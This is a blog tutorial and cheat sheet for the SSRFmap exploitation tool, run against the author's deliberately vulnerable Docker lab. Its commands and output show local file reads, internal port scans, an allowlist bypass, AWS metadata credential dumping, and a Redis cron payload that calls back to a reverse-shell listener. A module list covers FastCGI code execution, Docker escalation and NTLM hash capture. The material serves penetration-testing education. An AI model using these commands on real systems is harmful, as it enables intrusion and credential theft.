TechEarl

SSRFmap Tutorial: Exploiting a Vulnerable App End to End

A complete SSRFmap walkthrough against a deliberately vulnerable lab: identify the sink, capture the Burp request, run detection, read local files, scan internal hosts, bypass a broken allowlist, hit the IMDS mock, and confirm blind SSRF out of band.

Ishan KarunaratnePublished ⏱️ 13 min readUpdated
Share thisCopied
Step-by-step SSRFmap walkthrough: capture, detect, read files, portscan, bypass an allowlist, steal IMDS credentials, confirm blind SSRF.

SSRFmap exploits a server-side request forgery by taking a captured HTTP request plus the name of a vulnerable parameter, then running modules that read local files, scan the internal network, and pull cloud-metadata credentials through the sink. This page is both an end-to-end walkthrough against a deliberately vulnerable lab and the full flag-and-module reference for the tool.

I start from nothing (no target, no captured request, no SSRFmap state), and I end with /etc/passwd read off the application host, an internal port scan, an allowlist bypass that reaches a non-public admin endpoint, and an IMDS credential dump from a mock AWS metadata service. Every step is reproducible against a vulnerable lab target I publish for this exact purpose.

If you have not read the server-side request forgery deep dive yet, do that first; this article assumes the vector shapes are familiar. The best SSRF tools list for 2026 covers where SSRFmap fits in the landscape, and the full flag-and-module reference below complements the walkthrough.

A note on the output you will see. Every example in this article was produced against techearl-labs/server-side-request-forgery/ssrf-basic. The endpoints, allowlist logic, internal hostnames, and IMDS mock are deterministic and will match what you get locally. A few values are environment-dependent and will differ in minor ways: the exact PHP minor version in error strings (depends on which php:8.2-apache image tag Docker pulled), Docker network addresses for the side containers, your SSRFmap session paths, and timestamps. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up ssrf-basic ssrf-basic-internal ssrf-basic-metadata

The public app listens on http://localhost:8082. Two side containers (ssrf-basic-internal and ssrf-basic-metadata) sit on the Docker network with no published ports. You can only reach them by routing through the SSRF, which is the whole lesson.

EndpointMethodVulnerable parameterSink
/fetch.php?url=...GETurlfile_get_contents($url)
/fetch-allowlist.php?url=...GETurlfile_get_contents($url) after a strpos($url, 'example.com') substring check
/fetch-blind.php?url=...GETurlcurl with a 5-second timeout, response body discarded

The PHP file_get_contents sink keeps the full wrapper surface live (file://, php://, gopher://, ftp://, dict://), which is what makes the readfiles module work without any further setup.

Step 1: identify the SSRF sink

Visit http://localhost:8082/ in a browser. The landing page links to three "URL preview" endpoints. The first one I always test is the most permissive:

bash
curl -s 'http://localhost:8082/fetch.php?url=http://example.com/' | head -20

If the response body contains the upstream page (in the lab it is the example.com landing markup), the server is fetching the URL for you. That is the SSRF. The parameter name is url, the method is GET, the path is /fetch.php. Note the three pieces; SSRFmap needs all of them.

Step 2: capture a Burp request file

SSRFmap takes a raw HTTP request file the same way sqlmap does. You can hand-write it but Burp is faster. Start Burp Suite Community, set the browser's proxy to 127.0.0.1:8080, visit http://localhost:8082/fetch.php?url=http://example.com/, right-click the request in Proxy → HTTP history, choose "Copy to file". Save as req.txt. It looks roughly like:

code
GET /fetch.php?url=http://example.com/ HTTP/1.1
Host: localhost:8082
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Hand-writing this file is fine too. Method, path, Host header, and the vulnerable parameter present in the query string (or the body, for POST) are all SSRFmap actually needs.

Step 3: baseline detection

Install SSRFmap if you have not already (git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap && pip install -r requirements.txt), then point it at the request file:

bash
python3 ssrfmap.py -r req.txt -p url

-r req.txt is the captured request, -p url is the parameter to inject. Output (abbreviated):

code
SSRFmap v1.x
[+] Module loaded: readfiles
[+] Module loaded: portscan
[+] Module loaded: redis
[+] Module loaded: github
[+] Module loaded: aws
[+] Module loaded: gopher
[+] Module loaded: smtp
[+] Module loaded: socksproxy
...
[INFO] no module selected, listing available modules

The bare invocation does not run an exploit; it confirms SSRFmap parses the request, locates the url parameter, and is ready. The selection happens via -m. SSRFmap is module-based rather than autopilot-based, which is the first thing to internalise: unlike sqlmap's "throw everything at it and see what sticks", SSRFmap asks you which technique to apply, then applies it.

Step 4: read local files (readfiles module)

The file:// wrapper is the highest-signal first move on a PHP file_get_contents sink. SSRFmap's readfiles module loops a list of paths through the parameter:

bash
python3 ssrfmap.py -r req.txt -p url -m readfiles --rfiles files.txt

--rfiles is SSRFmap's flag for the readfiles wordlist (note: not -l, which is the reverse-shell handler port). files.txt is a newline-separated list of absolute paths. A useful starter list:

code
/etc/passwd
/etc/hostname
/etc/hosts
/etc/issue
/proc/self/environ
/var/www/html/fetch.php
/var/www/html/fetch-allowlist.php

Output (abbreviated):

code
[INFO] Module: readfiles
[INFO] Trying: file:///etc/passwd
[+] Got data for file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
[INFO] Trying: file:///proc/self/environ
[+] Got data for file:///proc/self/environ
APACHE_RUN_DIR=/var/run/apache2APACHE_PID_FILE=...
[INFO] Trying: file:///var/www/html/fetch.php
[+] Got data for file:///var/www/html/fetch.php
<?php require __DIR__ . '/shared/layout.php'; ...

The lab is a clean reproduction of the wild case: any path the Apache user (www-data) can read comes back inline. In a real engagement this is the moment to grep the application source for hardcoded credentials, database connection strings, and any reference to a metadata host you can pivot to next.

If you skip --rfiles and just run -m readfiles, SSRFmap uses its bundled list (data/file.txt in the SSRFmap repo). That works for first-pass triage; a curated list is faster on subsequent runs.

Step 5: portscan the internal network (portscan module)

Now use the SSRF as a network telescope. The portscan module makes the server probe arbitrary hosts for you. The host to probe is passed via --lhost (SSRFmap reuses the --lhost flag as "IP to target in the network" for the scanning modules):

bash
python3 ssrfmap.py -r req.txt -p url -m portscan --lhost ssrf-basic-internal

Output (abbreviated):

code
[INFO] Module: portscan
[INFO] Target: ssrf-basic-internal
[+] Port 80 is open
[-] Port 8080 is closed
[-] Port 3306 is closed
[-] Port 6379 is closed
[-] Port 9200 is closed
[-] Port 11211 is closed

Port 80 on the internal admin host is reachable through the SSRF. The non-internal ports return cleanly, which is itself useful: a real engagement maps the whole internal subnet this way before deciding which service to chase. Sweep a CIDR by feeding --lhost each IP in turn (a small shell loop around the invocation); SSRFmap's portscan is single-host per invocation, and there is no per-run port-list flag, the module walks its own built-in port list.

The technique behind it is response-content inference, not real TCP connect. SSRFmap fires a fetch at http://target:port/, then classifies the response (HTTP body, connection refused error, timeout). It works for HTTP-shaped ports cleanly, and is a noisy heuristic for everything else; treat closed/filtered distinctions with care.

Step 6: bypass the broken allowlist

/fetch-allowlist.php is the realistic middle-ground endpoint. It rejects anything whose URL string does not contain example.com somewhere. The check is strpos($url, 'example.com') !== false, which is the broken pattern I find in audits every month. The bypass is to put the literal string example.com anywhere the substring check can see it, while the real authority points elsewhere:

bash
curl -s 'http://localhost:8082/fetch-allowlist.php?url=http://ssrf-basic-internal/?fake=example.com' \
    | grep -A 5 'Response body'

ssrf-basic-internal is the real authority, the query string carries the literal example.com token that satisfies strpos, and PHP's file_get_contents follows the actual host. The "allowed" string never had any positional meaning, the developer just checked it was present somewhere.

To run this through SSRFmap, point at the allowlist endpoint. Capture a fresh req-allowlist.txt with /fetch-allowlist.php?url=http://example.com/, then:

bash
python3 ssrfmap.py -r req-allowlist.txt -p url -m readfiles --rfiles files.txt \
    --uagent "ssrfmap/lab"

Without modification SSRFmap will fail every payload because none of file:///etc/passwd, http://10.0.0.1/, etc. contain the literal string example.com. SSRFmap does not bake an allowlist-bypass module in; you compose around it. Two practical options:

  1. Patch the payload template. Edit the file list to suffix every URL with #example.com or ?fake=example.com so each payload satisfies the check. The # fragment form is sometimes stripped by the upstream fetcher, the ?fake=example.com form survives every wrapper I have tested.
  2. Drive the bypass with curl directly (as shown above) and use SSRFmap only on the unfiltered /fetch.php. This is what I do in practice: an allowlist bypass is a payload-shape concern, not a module concern.

The textbook userinfo trick (http://example.com@ssrf-basic-internal/) also works against parse_url-based allowlists, and the lab has a dedicated walkthrough on the userinfo variant. The substring-check shape is the one to test first; it is the most common.

Step 7: hit the cloud metadata mock (aws module)

The lab's ssrf-basic-metadata container imitates AWS IMDSv1 at the Docker-network address ssrf-basic-metadata (production would be the link-local 169.254.169.254, but containers cannot bind link-local cleanly so the lab uses a hostname). SSRFmap ships an aws module that walks the standard IMDS paths. The target host is passed via --lhost:

bash
python3 ssrfmap.py -r req.txt -p url -m aws --lhost ssrf-basic-metadata

Output (abbreviated):

code
[INFO] Module: aws
[INFO] Target: ssrf-basic-metadata
[+] /latest/meta-data/iam/security-credentials/
[+] Role found: role-name
[+] /latest/meta-data/iam/security-credentials/role-name
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoDYXdzEJr...<truncated>",
  "Expiration": "2026-05-27T18:00:00Z"
}

That is the same credential blob curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name returns on a real EC2 instance running IMDSv1. The keys above are AWS's documented example values, not a live key, but the shape is identical.

IMDSv2 attempts. AWS's IMDSv2 requires a PUT to /latest/api/token to obtain a session token, then a GET with X-aws-ec2-metadata-token for every metadata call. The lab does not implement IMDSv2 (that is a deliberate choice; the SSRF article walks why IMDSv2 closes this attack), but to see what SSRFmap does against a target you suspect is v2-only, run with -v:

bash
python3 ssrfmap.py -r req.txt -p url -m aws --lhost ssrf-basic-metadata -v

Verbose mode shows the fetch attempts. The aws module fires GET requests. On a real IMDSv2 target every GET returns 401 Unauthorized because the token header is missing, and SSRFmap reports no credentials found. The technique to defeat IMDSv2 from SSRF is to issue a PUT through the SSRF sink (gopher:// or a sink that allows method override), which file_get_contents does not support cleanly. That is the manual-Burp territory; SSRFmap's aws module is v1-shaped.

Step 8: out-of-band confirmation (blind SSRF)

/fetch-blind.php discards the response body and returns only "OK" or "Timeout". You cannot read the page back; you need an external listener. The two production-grade options are interactsh and Burp Collaborator. interactsh is free and runs from one binary:

bash
# Terminal A: start the collaborator
interactsh-client

It prints a payload domain (something like cXXX.oast.fun). Now fire the blind endpoint at it:

bash
curl -s "http://localhost:8082/fetch-blind.php?url=http://cXXX.oast.fun/" -o /dev/null

Within a few seconds, terminal A logs the inbound HTTP hit from the lab container. That is your out-of-band confirmation: the SSRF executed, the response body was discarded, but the side effect (an HTTP request to your collaborator) tells you the sink fired. Confirm DNS-only (-q HTTP -t A) to distinguish DNS resolution from full HTTP reachability when egress is filtered.

SSRFmap's httpmethods and socksproxy modules can help once you have OOB confirmed, but the core technique (paste a payload domain, watch the listener) is the manual move. The blind SSRF deep dive covers the timing-oracle variant the lab also exposes (a 5-second timeout against non-routable IPs), which is the technique to fall back on when no OOB egress is available at all.

Step 9: what SSRFmap cannot do here (vs Burp manual)

A few things the lab will surface that SSRFmap is not the right tool for:

  1. Method-controlled SSRF. IMDSv2 requires PUT. SSRFmap GETs everything. You need Burp Repeater or curl to send the right verb against the right wrapper, or a gopher:// payload to smuggle the method through.
  2. Custom-header attacks via the sink. The lab does not expose this, but real targets sometimes pass attacker-controlled headers downstream. SSRFmap injects into the URL parameter only; header smuggling is a Burp Repeater workflow.
  3. State-bearing flows. Anything that requires cookies refreshed mid-flow, CSRF tokens fetched dynamically, or a CSRF-then-fetch sequence. SSRFmap replays the captured request as-is. Burp Suite Intruder with a session-handling rule is the right tool there.
  4. Allowlist composition. As Step 6 showed, SSRFmap does not compose bypass payloads automatically. Hand-craft them, paste them, let SSRFmap drive the file list.

The right mental model is: SSRFmap is the "fast pass" tool for the four or five SSRF shapes that recur in the wild (file://, internal HTTP, IMDS, redis-via-gopher, github webhook spoofing). When the target deviates from those shapes, drop to Burp Repeater. The two tools are complements, not substitutes.

SSRFmap flag and module reference

The walkthrough above leans on three modules: readfiles, portscan, and aws. SSRFmap ships many more, behind a small and fixed flag set. This is the field reference I keep open during an engagement: every flag, every built-in module, the cloud-metadata recipes, handler setup, and where Burp Repeater is still the better tool.

SSRFmap Command Reference

Every module and flag organised by task. Copy and adapt.

Target and parameter (the entire CLI)

-r request.txtCaptured HTTP request file. Method, headers, cookies, body, all preserved. The only required input.
-p urlParameter name to inject into. Must exist somewhere in the request (query, body, header, cookie). SSRFmap substitutes its payloads in place of that parameter's value.
-m readfilesModule to run. Single module name or comma-separated list. See the module table below for the full set.
-m readfiles,portscan,redisChain multiple modules in one run. Each module reuses the same request and parameter.
-l 4242Start a handler on the given port for a reverse shell. This is a positional flag with an argument (not a boolean `--handler` switch).
--lhost 10.0.2.15LHOST: the address the target will reach back to (or the IP to target inside the network, depending on the module). LAN IP for local labs, public IP or tunnel endpoint for real targets.
--lport 4444LPORT for reverse shell, or the port to target inside the network (module-dependent).
--level 1Test depth. Accepts 1-5, default 1. Higher levels enable more obfuscation variants and more payload permutations, at the cost of speed.
-vVerbose. Prints every request SSRFmap sends and the raw response. Use this constantly when debugging a module that is not firing.
--proxy http://127.0.0.1:8080Route through Burp or any HTTP proxy. Best way to see exactly what SSRFmap is sending and tweak by hand.
--sslUse HTTPS without verification for the outbound request.
--uagent 'Mozilla/5.0 ...'Override the User-Agent. The default contains 'ssrfmap' and is signatured by every commercial WAF.
--rfiles /tmp/paths.txtOverride the readfiles wordlist with your own paths. One path per line. Use for app-specific config (Rails secrets.yml, Django settings.py, .env).

Built-in modules (the real list)

readfilesRead local files on the target via file:// (and tries gopher://, dict://, ftp://). Walks a built-in wordlist of common paths (/etc/passwd, /etc/shadow, app config files). Override with --rfiles.
portscanScan internal ports through the SSRF. Port range is module-internal, not a top-level flag.
networkscanScan a range of internal hosts/ports through the SSRF. Use when portscan against a single host has confirmed the SSRF reaches the internal network.
redisSend arbitrary Redis commands via gopher://. Writes a cron entry or SSH key into Redis if it is unauthenticated. Set --lhost / --lport when the cron job should call back.
fastcgiTalk to a php-fpm FastCGI socket on the internal network via gopher://. Executes arbitrary PHP code in the FastCGI worker. Devastating against a misconfigured fpm bound to 0.0.0.0:9000.
mysqlSend MySQL protocol bytes through gopher://. Useful when an internal MySQL trusts localhost and accepts no-password root logins from the app server.
postgresSame idea against PostgreSQL: protocol bytes through gopher:// to an internal listener that trusts the app server's IP.
smtpSpeak SMTP through gopher:// to an internal mail relay. Send mail as the application, often bypassing SPF/DMARC because the relay trusts internal traffic.
memcacheHit an internal memcached over gopher://. Useful for cache poisoning when the app reads cached session/auth state.
axfrAttempt a DNS zone transfer against an internal nameserver via the SSRF parameter. When the internal resolver allows AXFR you get the entire internal zone.
githubHit GitHub Enterprise / Actions metadata endpoints reachable from the SSRF. Pulls tokens that often leak in misconfigured runners. Verify against your target's GHES version before assuming the endpoints still respond.
zabbixHit an internal Zabbix server via the SSRF. Pulls server info and (in older versions) credentials.
dockerTalk to a Docker daemon socket exposed on tcp://internal:2375 with no auth. Lists containers, starts new ones, escalates to host.
tomcatAuthenticated and unauthenticated probes against an internal Tomcat manager. Default-creds checks plus version fingerprint.
smbhashForce the target to authenticate to an attacker-controlled SMB share so the NTLMv2 hash lands in your responder/impacket listener.
socksproxyPivot through the SSRF as a SOCKS proxy. Heavy and rarely worth it; use only when the chain genuinely needs proxying.
awsAWS metadata module. Reaches 169.254.169.254 and pulls IAM role names plus the credentials JSON. IMDSv1 only by default; IMDSv2 requires a PUT and a token header most SSRF primitives do not allow.
gceGoogle Compute Engine metadata module. Reaches metadata.google.internal/computeMetadata/v1/. Requires the Metadata-Flavor: Google header, which the SSRF must let you set; many do not.
alibabaAlibaba Cloud metadata module. Reaches 100.100.100.200/latest/meta-data/.
digitaloceanDigitalOcean metadata module. Reaches 169.254.169.254/metadata/v1/. No auth header required, which is why DO SSRFs are the cleanest of the lot.
customRun all user-written modules in data/modules/custom/. Drop a Python file there to extend the tool. (Module name is singular `custom`, not `customs`.)

Cloud metadata recipes (use the dedicated modules)

AWS (IMDSv1)`-m aws` reaches 169.254.169.254/latest/meta-data/, pulls the IAM role name, then the credentials JSON. IMDSv1 has no token requirement; works against any EC2 where IMDSv2 was not enforced.
AWS (IMDSv2)IMDSv2 requires a PUT to /latest/api/token with X-aws-ec2-metadata-token-ttl-seconds. The aws module cannot issue that PUT through a typical SSRF; if IMDSv1 is disabled on the instance, fall back to a custom module that handles the token dance or move to a different chain.
GCP`-m gce` reaches metadata.google.internal and reads /instance/service-accounts/default/token for an OAuth token. Requires Metadata-Flavor: Google on the outbound request; if the SSRF does not let you set headers, write a custom module that injects the header before do_request().
AzureNo dedicated `-m azure` module in upstream. Azure IMDS requires Metadata: true header at 169.254.169.254/metadata/instance?api-version=2021-02-01. Write a custom module or develop the chain in Burp Repeater.
DigitalOcean`-m digitalocean` reaches 169.254.169.254/metadata/v1/. No auth header. The cleanest of the bunch.
Alibaba`-m alibaba` reaches 100.100.100.200/latest/meta-data/. No auth header, separate IP from the other providers.
Kubernetes nodeFrom a pod with a clean SSRF, http://169.254.169.254/ may still hit the cloud IMDS. The projected serviceaccount token at /var/run/secrets/kubernetes.io/serviceaccount/token comes out via the readfiles module.

Reachability and handler setup

Local LAN target--lhost 192.168.1.50 (your LAN IP) and --lport 4444. Target must route to your machine. Most lab setups (DVWA, juice-shop, training boxes on the same network) work like this.
Remote target, tunnel backRun ngrok or cloudflared tunneling 4444 to a public hostname, then --lhost=your-tunnel.example --lport=443. The target hits the tunnel; the tunnel forwards to your local handler.
Reverse-shell handlerPass `-l 4242` (positional argument, port number) and SSRFmap binds that port for the inbound shell. Skip it if you have a separate nc / metasploit listener already running.
Blind SSRF confirmationThere is no dedicated `dns` module. The simplest blind oracle is a hand-crafted SSRF in Burp pointing at your interactsh subdomain, or an axfr probe against an attacker-controlled NS. Confirm reachability before running heavier modules.
Check firstAlways send a manual probe (an http:// request to your collaborator) before running heavier modules. Saves an hour of debugging a payload that never reaches you.

Custom modules

Where they livedata/modules/custom/ in the cloned repo. Drop a Python file there; pick it up with `-m custom`.
Module shapeA class with a name attribute and an exploit(self, requester, args) method. requester is a wrapper around the captured request; call requester.do_request(url) and inspect the response.
When to write oneCloud providers that need a custom header SSRFmap does not inject (Azure Metadata: true, GCP variants the gce module does not cover), proprietary protocols over gopher://, header-injection via CRLF, and any chained workflow where module A's output feeds module B.
Quick stubCopy data/modules/readfiles.py as a template, swap the URL list and parsing, save under custom/ with a distinct class name. Test with `-m custom -v`.

Output and debugging

-vVerbose. Every request and response printed. First flag to add when something is not working.
--proxy http://127.0.0.1:8080Send all traffic through Burp. Inspect, repeat, modify. Best debugging tool SSRFmap has.
--logfile LOGFILEWrite the run to a log file. SSRFmap does not produce a structured report, but --logfile saves the transcript without a shell pipe (a plain `| tee output.log` works too). Module results also print inline as they fire.
Exit codes0 on completion, non-zero on argparse / file-load failures. A module finding nothing is still exit 0; do not script on exit code for success / failure of the actual exploit.

SSRFmap vs Burp Repeater (when to use which)

SSRFmap winsPort scanning a /24 of internal addresses through one parameter. Walking 200+ file paths with readfiles. Sending a gopher:// payload to Redis or FastCGI where the byte-level packet is annoying to hand-craft.
Burp Repeater winsSingle-shot probes against one URL. Anything requiring a custom header on the outbound request (Metadata-Flavor, X-aws-ec2-metadata-token, Azure Metadata: true) that the SSRF lets you set via CRLF. Tweaking payload encoding by hand.
Both togetherSSRFmap with --proxy http://127.0.0.1:8080 sends every request through Burp. You get SSRFmap's payload library and Burp's editing surface on the same traffic. This is the configuration I use 80% of the time.
Skip SSRFmap whenThe SSRF needs a request shape SSRFmap cannot produce (unusual method, custom content-type, multipart with binary parts in specific places). Burp Repeater plus the PayloadsAllTheThings SSRF wordlists is faster.

The CLI surface is small and the flag set is fixed at -h, -r, -p, -m, -l, -v, --lhost, --lport, --ldomain, --uagent, --ssl, --proxy, --level, --rfiles, --logfile. (--ldomain names the domain for AXFR and domain-related modules; --logfile names the transcript file.) There is no --target, no --ports, no --handler, no --file. Cloud metadata beyond the bundled providers and arbitrary-byte gopher payloads are written as custom modules.

Chaining modules and reverse-shell handlers

Modules chain in one run, each reusing the same captured request and parameter. The gopher-based modules (redis, fastcgi) can spawn a reverse-shell handler with the positional -l flag so a cron job or code-exec payload calls back:

bash
# walk files, scan ports, then hit Redis in one run
python3 ssrfmap.py -r req.txt -p url -m readfiles,portscan,redis \
        --lhost=10.0.2.15 --lport=4444 -v

# write a cron entry into an unauthenticated Redis that calls back when cron fires
python3 ssrfmap.py -r req.txt -p url -m redis \
        --lhost=10.0.2.15 --lport=4444 -l 4242 -v

GCP and Azure: the header problem

GCP requires Metadata-Flavor: Google. Azure requires Metadata: true. The bundled gce module sets the GCP header; Azure has no bundled module in upstream. Two practical workarounds for any case the built-in modules do not handle:

  1. Write a custom module. Copy data/modules/readfiles.py to data/modules/custom/azure_metadata.py, hard-code the Azure URLs, and add the Metadata: true header when the module calls requester.do_request(). Run with -m custom.
  2. Use Burp Repeater for these. When the SSRF lets you control the URL but not arbitrary headers on the outbound request, you usually cannot inject the metadata header anyway, and the metadata endpoint will refuse. The fix is on the SSRF side (find a path that lets you set headers via CRLF injection) rather than the tool side. Burp Repeater is where you actually develop that payload.

Flags I almost never use

  • The github module against modern GitHub Enterprise releases. The metadata endpoints it targets have been hardened or moved; verify on the version in front of you before assuming it still works.
  • --level 3+ on a fast target. The extra obfuscation variants rarely flip a result that level 1 missed, and they multiply request count.
  • Running every module in one go without scoping. The noise drowns out the signal. Pick the two or three that match the internal services you suspect.

Where to go next

Yes. Capture the POST request with Burp, save as the request file, point -p at the body parameter name. For JSON bodies, SSRFmap will substitute the parameter value inside the JSON string; complex nested structures sometimes need a small hand-edit of the request file to keep JSON valid through the substitution.

Two common reasons. First, the application user (typically www-data or nobody) does not have read permission on the path; /etc/shadow is the obvious example. Second, the sink does not honour the file:// wrapper; PHP file_get_contents does by default, but curl-based sinks need --allow-protocols set, and Node fetch refuses file:// outright. The lab uses file_get_contents specifically to keep this surface live.

No, not cleanly. IMDSv2 requires a PUT to fetch a session token, and SSRFmap's aws module issues GET requests only. The realistic path on a v2-only target is a gopher:// payload that smuggles the PUT through a sink that allows arbitrary methods, or Burp Repeater for the manual two-step. The deeper write-up on this is in the cloud metadata SSRF guide.

The techearl-labs ssrf-basic container is built to be safe locally: it binds to 127.0.0.1 by default, isolated Docker network, the IMDS mock serves AWS's documented example credentials (not real keys). Do not expose it on a public interface and do not add published ports to the internal or metadata containers. The vulnerabilities are real, and an internet-reachable copy will get found by scanners within hours.

Three usual suspects. First, the parameter name passed to -p has to match an actual value in the request file, and SSRFmap finds it by string match, so a parameter named url that appears in two places will get both substituted. Second, the SSRF may only allow HTTP, not file:// or gopher://, and most modules need gopher:// to work; confirm with a manual http://your-collaborator probe through Burp before assuming the parameter is fully exploitable. Third, run with -v and --proxy=http://127.0.0.1:8080 and look at the actual requests SSRFmap sends; the failure is almost always visible in the wire traffic.

Both, together. SSRFmap is faster for repetitive payload sweeps (file paths, port scans, gopher byte packets) and Burp Repeater is faster for one-off probes and any payload you need to hand-edit. Running SSRFmap with --proxy=http://127.0.0.1:8080 sends every request through Burp, so you get the library and the editor on the same traffic. That hybrid is the configuration I use on real engagements.

Yes, but not via a built-in dns module (which does not exist). The cleanest path is a manual SSRF in Burp pointing at a Burp Collaborator or interactsh subdomain; the target makes a DNS lookup against that subdomain, and the lookup itself confirms the SSRF reaches the internet. From there you can chain to out-of-band file read (read a file, base64 it into a DNS query) with a custom module, or move to the readfiles module if you find a content-length oracle. Pure blind SSRF with no oracle is harder; see the blind SSRF guide for the techniques.

Sources

Authoritative references this article was fact-checked against.

TagsSSRFmapSSRFTutorialCheat SheetPenetration TestingSecurityDockerCloud Metadata

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Systems and Network Architect · Chief Technology Officer

Systems and network architect and Chief Technology Officer with more than two decades designing, building, and running production software, cloud and network architecture, Linux systems, and the bare metal underneath them, and lately working AI into the stack. A US Army veteran who served in Operation Iraqi Freedom. What I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

Bash functions: syntax, $1/$@ arguments, return code vs stdout, local scope, namerefs, source libraries, plus job control (fg, bg, nohup) and ShellCheck.

Bash Functions: Definition, Arguments, Return Values, and Scope

Bash function reference: two declaration syntaxes, positional arguments via $1/$@/$*, returning data via stdout vs return-code exit status, local variables and the global-by-default scoping trap, recursion, namerefs, and function libraries via source. Plus job control (fg, bg, jobs, nohup, disown, setsid) and linting scripts with ShellCheck.

Export a MySQL table to CSV with SELECT INTO OUTFILE, mysqldump --tab, or the mysql client, and import a CSV back with LOAD DATA INFILE or mysqlimport.

How to Export a MySQL Table to CSV

Export a MySQL table to CSV using SELECT INTO OUTFILE, mysqldump --tab, the mysql client with a piped redirect, or a no-privilege one-liner that works on hosts where FILE is disabled. Plus the reverse: importing a CSV with LOAD DATA INFILE, LOCAL INFILE, mysqlimport, or mysqlsh.